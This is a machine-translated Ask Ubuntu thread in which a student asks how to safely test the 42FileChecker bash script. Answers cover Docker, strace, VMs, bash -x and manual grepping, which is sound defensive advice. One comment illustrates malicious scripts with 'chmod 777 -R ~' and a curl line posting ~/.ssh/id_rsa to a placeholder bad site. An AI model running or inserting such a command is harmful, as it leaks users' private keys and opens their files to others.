Как я могу протестировать сценарий оболочки в «безопасной среде», чтобы избежать вреда для моего компьютера?

29

Я хотел бы установить определенный bash-скрипт с именем 42FileChecker, используя команды:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

Но я не знаю, будет ли 42FileChecker.sh делать какие-то странные вещи на моем ПК, потому что я новичок и не знаю, что происходит в этом сценарии. Есть ли способ запустить его в фиктивном терминале или фиктивной корневой папке, или что-то в этом роде, чтобы увидеть, что происходит, чтобы избежать такого сумасшедшего, как форматирование моих дисков. Я хотел бы знать о любом способе тестирования оболочек для будущих сценариев оболочки, даже если 42FileChecker.sh безопасен.

Николай
источник
5
Поскольку это скрипт, вы можете прочитать его и прочитать manстраницы команд, содержащихся в нем.
вальтинатор
1
Обратите внимание, что поскольку код размещен на Git, вы можете прочитать исходный код инструмента. Если проверка кода не ваша задача, то лучше всего выполнить «динамический» анализ, выполнив его в безопасной среде (песочница, виртуальная машина)
BlueCacti
4
@waltinator Если вы беспокоитесь о злонамеренном поведении, а не просто о непреднамеренном поведении, чтение справочных страниц не поможет.
Рэй
1
@Ray, только если выполняемые команды сами по себе являются вредоносными, поэтому их страницы руководства будут скрывать их истинное влияние. Я думаю , что waltinator имел в виду более вероятном случае злоумышленного использования стандартных команд, например , chmod 777 -R ~или curl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsaили аналогичных.
Wildcard
1
Относящиеся . Вы можете тестировать сценарии, не рискуя причинить вред вашему компьютеру, и это научит ваших коллег блокировать свои сеансы.
Эрик Думинил

Ответы:

4

Я не эксперт в этом, но я бы порекомендовал использовать straceи docker.

Поэтому сначала создайте Docker-контейнер, следуя инструкциям в этом ответе . Но дополнение в том, что strace скажет вам, какие системные вызовы сделаны. Или процитировать:

strace - утилита для диагностики, отладки и обучения пользователей Linux. Он используется для мониторинга и вмешательства во взаимодействие между процессами и ядром Linux, которое включает системные вызовы, доставку сигналов и изменения состояния процессов.

Вы можете объединить эти команды

docker exec -it ubuntu_container strace bash ./42FileChecker.sh
Томас
источник
Таким образом, это будет проходить через каждую строку сценария (шаг за шагом), а также делать все это внутри контейнера, что означает, что все команды не будут делать абсолютно ничего для моей системы, но будут выполняться как обычно. Я правильно понимаю?
Николай
1
@nicholas да док-контейнер - это отдельная машина для вашей защиты, программа находится в песочнице. Strace предоставит вам все операции, которые приложение выполняет с этим компьютером, от открытия файлов до настройки сетевых подключений.
Томас
1
Да, это именно то, что я искал, Стрейс в сочетании с Докером.
Николай
42

Если вы не уверены в том, что делает скрипт, лучше не запускать его, пока вы не уверены, что он делает. Способы уменьшения радиуса повреждения плохого сценария включают запуск его с использованием нового пользователя, запуск его в контейнере или запуск на виртуальной машине. Но это первое утверждение остается в силе: если вы не уверены, что что-то делает, не запускайте его, пока не сделаете.

СТТ
источник
6
С другой стороны, сценарии похожи на EULA: да, вы должны прочитать и понять каждую строку, прежде чем продать свою душу, но не так ли?
Питер - Восстановить Монику
7
@ PeterA.Schneider, но EULA ничего не делает, пока не предстанет перед судом. Запуск скрипта сразу влияет на ваш компьютер. Это не так много о чтении каждой строки; это больше о «Размышлениях о доверии» и знании источника сценария и доверии к нему.
Wildcard
29

Как сказал @ctt, вероятно, хорошей идеей будет сначала запустить его в какой-нибудь песочнице. Использование ВМ, вероятно, самое простое решение. Multipass довольно прост.

Установите мультипасс (если вы еще этого не сделали):

sudo snap install multipass --beta --classic

Раскрути новую ВМ:

multipass launch --name myvm

Войдите в свою новую виртуальную машину:

multipass shell myvm

Затем запустите ваш скрипт (внутри вашего vm):

multipass@myvm:~$ git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh
Райан Йодер
источник
38
Этот подход небезопасен. После того, как вы запустите скрипт в песочнице, как вы узнаете, был ли он безопасным? Это может иметь вредные последствия, которые вы не можете легко сказать. Вредоносное ПО не обязательно всплывает и говорит: «Ха-ха, понял!». Кроме того, вредоносный сценарий может легко вести себя безобидно, находясь в песочнице или виртуальной машине, а затем вести себя злонамеренно на вашем реальном компьютере. (Например, обнаружение виртуальных машин - это то же самое, что и машинная дактилоскопия.)
DW
12
Это отличный момент. Если вы хотите проверить скрипт на наличие вредоносных программ, это не является эффективным решением. Это способ тестирования функциональности без загрязнения вашей хост-системы.
Райан Дж. Йодер
Вы можете сделать полное сравнение с «контрольной» виртуальной машиной.
Маккензм
6
@mckenzm: Но если это вредоносное ПО, вполне возможно, что оно решит ничего не делать, пока не получит доступ к чему-то, что выглядит сочно.
Хеннинг Махолм
11

Поскольку школа, которую вы посещаете, опубликовала сценарии, лучшее место, чтобы высказать ваши опасения - это ваши инструкторы.

Тем не менее, мы можем помочь вам расшифровать код построчно. Для кого-то здесь, вероятно, нецелесообразно анализировать весь код.

На самом деле у вас есть 40 bash-скриптов с общей суммой в 5 360 строк. Я объединил их вместе и искал команды bash / shell, которыми можно злоупотреблять. Все они, кажется, используются нормально :

$ cat /tmp/sshellcheck.mrg | grep " rm "

      rm -rf "$RETURNPATH"/tmp/*
      rm -f "$RETURNPATH"/.mynorminette
    rm -f $LOGFILENAME
    rm -f $LOGFILENAME
      rm -f .mymoulitest
        rm -f "${RETURNPATH}/tmp/${FILEN}"

$ cat /tmp/sshellcheck.mrg | grep -i kill

  function check_kill_by_name
          kill $PROCESSID0
  declare -a CHK_MINISHELL_AUTHORIZED_FUNCS='(malloc free access open close read write opendir readdir closedir getcwd chdir stat lstat fstat fork execve wait waitpid wait3 wait4 signal kill exit main)'
        check_kill_by_name "${PROGNAME}"
      kill -0 "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null && kill "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null
      display_error "killed pid: ${CURRENT_CHILD_PROCESS_PID}"
    check_kill_by_name "$PROGNAME $PROGARGS"
        check_kill_by_name "$PROGNAME $PROGARGS"
        kill ${PID} 2>/dev/null

$ cat /tmp/sshellcheck.mrg | grep -i root

      "check_configure_select ROOT" "Root folder:          /"\
      'ROOT')
        echo "'${ALLOWED_FILES}' must be placed at root folder but was found here:" >>"${LOGFILENAME}"
        printf "%s" "'${ALLOWED_FILES}' must be placed at root folder"

$ cat /tmp/sshellcheck.mrg | grep -i sudo

$ 
  • Нет rm -rf /команды, чтобы стереть весь раздел жесткого диска.
  • Нет никаких требований, которые sudoбудут использоваться для запуска скрипта.
  • На самом деле скрипт Cпроверяет, используются ли в проверенных файлах только авторизованные функции.
  • Быстрый просмотр кода bash / shell показывает, что он написан профессионально и прост в использовании.
  • Использование shellcheck для объединенных включаемых файлов выявляет только три синтаксических ошибки.
  • Имена авторов определены, и у основного автора даже есть его изображение на его githubстранице.
  • Хотя нет никаких гарантий в жизни, 42FileCheckerкажется безопасным для использования.

Вам не нужно беспокоиться о bash-скриптах, понятных человеку. Это скомпилированные двоичные объекты, которые вы не можете прочитать, которые вызывают беспокойство. Например, программа под названием «блестящая оживленная сфера» может нарисовать что-то подобное на вашем экране, но в фоновом режиме она может стереть все ваши файлы.


Оригинальный ответ

Лучше всего спросить автора сценария, что он делает. На самом деле вы можете почти полностью опубликовать свой вопрос, как показано выше.

Также спросите автора:

  • Какие файлы обновляются?
  • Что происходит, если происходит сбой из-за сбоя питания или программной ошибки?
  • Можно ли сначала выполнить мини-резервное копирование?

И любые другие хорошие вопросы, которые вы можете придумать.


Редактировать 1 - Беспокойство по поводу злонамеренного автора.

Вы должны использовать только программное обеспечение с большим количеством хороших публичных обзоров. В качестве авторов, которым вы доверяете здесь, в Ask Ubuntu, таких как Серж, Джейкоб, Колин Кинг и т. Д. Другие уважаемые сайты, такие как Ask Ubuntu и их уважаемые участники, также должны рассматриваться как «не вредоносные».

Преимущество «уважаемых авторов» здесь, в Ask Ubuntu, заключается в том, что они ставят свою самооценку на «очки репутации». Если бы они намеренно написали код, который «украл» или «испортил» данные, они бы быстро потеряли свою репутацию. Действительно, авторы могут страдать от "гнева модов" и быть отстраненными и / или отняв 10000 очков репутации.


Изменить 2 - Не следуйте всем инструкциям

Я более подробно изучил инструкции вашего bash-скрипта:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

«Безопасный» метод заключается в запуске только первой строки:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker

Это загружает сценарии, но не запускает их. Затем используйте nautilus(файловый менеджер) для проверки установленных каталогов и файлов. Очень быстро вы обнаружите, что есть коллекция сценариев bash, написанных группой студентов во Франции.

Целью скриптов является компиляция и тестирование программ на Си на предмет неправильных функций и утечек памяти.

WinEunuuchs2Unix
источник
1
Да, но я думал о ситуациях, когда автор мог делать что-то злонамеренное умышленно.
Николай
1
@nicholas Я ответил на ваш комментарий, пересмотрев ответ.
WinEunuuchs2Unix
2
Я изучаю C на курсе Ecole 42. Функции, которые я выполняю, должны пройти через эту проверку норм. Мне нужно установить 42FileChecker в Ubuntu, чтобы запустить эту проверку норм. Я полагаю, что сейчас мне просто нужно доверять этому сценарию, но мне нужно было сначала узнать, как выполнить «безопасный запуск» сценария, потому что я не настолько хорош в выполнении поиска человеком. Спасибо за помощь. Я просто запусту ВМ в следующий раз.
Николай
2
@nicholas Линия 24 работ ~/42FileChecker/includes/display/display_credits.shнорминеты штатов - зависимость norminette (42 born2code) http://www.42.fr. Я прочитал это прошлой ночью, и именно поэтому я написал, что это была школа (школа) во Франции, которая опубликовала 42FileChecker . Из того, что я просмотрел код до сих пор, я не буду беспокоиться о его запуске. Плюс к этому у него очень мало синтаксических ошибок, о shellcheckкоторых сообщается, что удивительно для сценария bash из 5 360 строк. Многие профессионально опубликованные скрипты bash имеют много синтаксических ошибок.
WinEunuuchs2Unix
2
@nicholas С точки зрения безопасности, использование среды и сценариев, предоставляемых для класса, вероятно, является лучшим подходом. Это также исключает возможность поведения, отличного от официальной версии курса, что может стать неожиданностью во время сдачи. Вы уверены, что нет удаленного доступа к этому компьютеру, возможно, с использованием предоставляемой кампусом службы VPN или SSH с другого компьютера, к которому вы можете получить удаленный доступ?
Трогнандерс
5

Вы можете использовать Docker. Контейнеры Docker изолированы от операционной системы хоста, поэтому любая злонамеренная деятельность будет оставаться в контейнере, если вы специально не выпускаете ее, перенаправляя порты или монтируя файловые системы.

Чтобы установить докер:

sudo apt-get install docker.io

Чтобы загрузить новый контейнер Ubuntu Bionic:

docker pull ubuntu:bionic

После этого войдите в контейнер

docker run -it ubuntu:bionic

и выполнить в нем хитрую операцию:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh
Syfer Polski
источник
1
Еще одно преимущество Docker, которое может быть полезно при определении того, что делает сценарий, заключается в том, что вы можете запустить, docker diffчтобы посмотреть, какие изменения были внесены в файловую систему с момента запуска контейнера. Недостатком использования Docker является то, что контейнер не является полной копией хост-системы. Упоминаемый здесь образ Ubuntu содержит только минимальную установку Ubuntu.
Мартин Хеемельс
2
Вместо этого docker run ubuntuвы должны запустить docker run -it ubuntu:bionicThe, который -itдает вам интерактивный терминал в контейнере и bionicфактически запускает нужную вам версию вместо стандартной latest.
Мартин Хеемельс
Мне нравится этот ответ лучший из тех, что я видел. Тем не менее, кажется, что хитрый сценарий может все еще злоупотреблять вашей системой. Это может быть тайно добыча биткойны и т.д. В идеале можно было бы использовать дополнительные флаги , возможно --memory, --networkи возможно , другие на самом деле заблокировать сценарий.
Эмори
1
Если вы действительно параноик, объедините этот ответ со вторым лучшим ответом. Запустите Docker внутри виртуальной машины и заблокируйте все.
Эмори
3

Попробуйте использовать режим отладки, запустив скрипт как:

$ bash -x scriptname

Дополнительная полезная информация Bash

Режим отладки не помешает сценарию делать что-то плохое, но позволит вам постараться пройти сценарий построчно и изучить эффекты. Вы также можете проверить скрипт на наличие некоторых типичных потенциальных ошибок и / или эксплойтов, например, выполнить поиск скриптов на предмет их появления rmи внимательно посмотреть на эти команды. Многие из этих инструментов имеют некоторую помощь , построенную в течение попытки их, например , фирма не будет удалять каталог по умолчанию, он нуждается в -r, -Rили --recursiveвозможности сделать это.

Могут даже быть некоторые антивирусные инструменты, которые будут искать скрипт в bash по этим шаблонам, но я не знаю ни одного по имени. Ваши примеры сценариев довольно сомнительны в том смысле, что они загружают другие инструменты, поэтому каждый из них также должен быть изучен. Проверка серверов, с которыми они связываются, также может быть полезной.

гость
источник
-x может использоваться для отладки (и я использую его!), но он не позволит вам шаг за шагом проходить скрипт. Это даст вам своего рода «трассировку», поскольку он выполняет сценарий на полной скорости.
jrw32982 поддерживает Монику
2

Соответствующая информация для предоставления ответа, к сожалению, находится только в вашем комментарии:

Я изучаю C на курсе Ecole 42. Функции, которые я выполняю, должны пройти через эту проверку норм. Мне нужно установить 42FileChecker в Ubuntu, чтобы запустить эту проверку норм.

Таким образом, ситуация такова, что на практике у вас есть возможность пропустить курс, или вы можете запустить скрипт для выполнения нормативных проверок ваших источников. Разговор с вашим инструктором вряд ли возможен из-за отсутствия первого (в противном случае это не будет вариант, ни одна школа не собирается менять свою процедуру, потому что один ученик не доволен этим).
Поэтому вопрос, что делать, чтобы ограничить возможный ущерб от этого сценария, даже не возникает. Это не случайный сценарий того, что возбужденная девушка с большой грудью отправила вам электронное письмо, и вам нужно запустить ее, чтобы увидеть ее фотографию .
Вы делаете класс программирования. этогде этот сценарий вступил в игру. Вопрос в том, хотите ли вы выполнить условия, необходимые для успешного прохождения курса.

Однако, если вы действительно обеспокоены, все еще есть возможность запустить скрипт в контейнере или виртуальной машине и поместить ваши источники в общую папку или в сетевой ресурс, предоставляемый контейнером / виртуальной машиной. Это в значительной степени идет по пути полной паранойи, но опять же виртуализация не так уж и сложна в наши дни, поэтому она не стоит очень дорого.

Если исключить маловероятную возможность действительно грубого эксплойта, содержащегося в этом сценарии, войти в систему под учетной записью любого пользователя без полномочий root (который вы вряд ли выберете в Ubuntu для других целей) и избежать ввода sudo без видимой причины, в значительной степени предотвращает 99% все плохие вещи, которые могут произойти в любом случае. Например, форматирование жесткого диска, о котором вы беспокоитесь. Обычный пользователь просто не может этого сделать. Худшее, что может случиться, - это сценарий, удаляющий домашний каталог пользователя. Так что, не проблема, правда.

Damon
источник
Надеюсь, что OP комментирует здесь, если sudoтребуется запустить скрипт. +1
WinEunuuchs2Unix
Избегание sudoтолько ограничивает область случайного удаления / форматирования из-за ошибок. Если скрипт был вредоносным или эксплуатируемым, запуск с sudoоднопользовательской системой не имеет существенного значения.
тот другой парень
@ WinEunuuchs2Unix Я не думаю, что sudo необходимо. Я действительно не знаю, на самом деле. Хотя я использую sudo для команд apt install. Значит ли это, что мне нужно использовать его для запуска сценария?
Николай
1
@nicholas У меня нет программ на С для компиляции и тестирования, 42FileCheckerпоэтому я не могу точно сказать, sudoнужно это или нет. Скрипт bash не проверяет sudo и не советует вам его использовать. Оказалось бы тогда, что sudoне требуется. Еще раз, я думаю, что спросить вашего инструктора (учителя) является лучшей политикой. Я обновил свой ответ час назад с небольшим анализом сценария. Обратите внимание, что имя " mynorminette" снова появилось в коде.
WinEunuuchs2Unix
1
@nicholas Бьюсь об заклад, некоторые из инструкторов лично знают norminette, yyang42, alelievr, anisg, QuentinPerez, gabkk, patorjk и Jean-Michel Gigault, которые все внесли свой вклад 42FileChecker. Я верю, что общение с инструкторами поможет вам успокоиться. После нескольких часов исследований я верю в программистов и их творения. Жан-Мишель Жиго даже имеет свою фотографию на github. Совершенно свидетельство уверенности в стране, где растут семена Жёлтого Жилета. Viva La France! (et Ecole 42 :)) Сделайте нам одолжение и заходите, чтобы получать обновления прогресса.
WinEunuuchs2Unix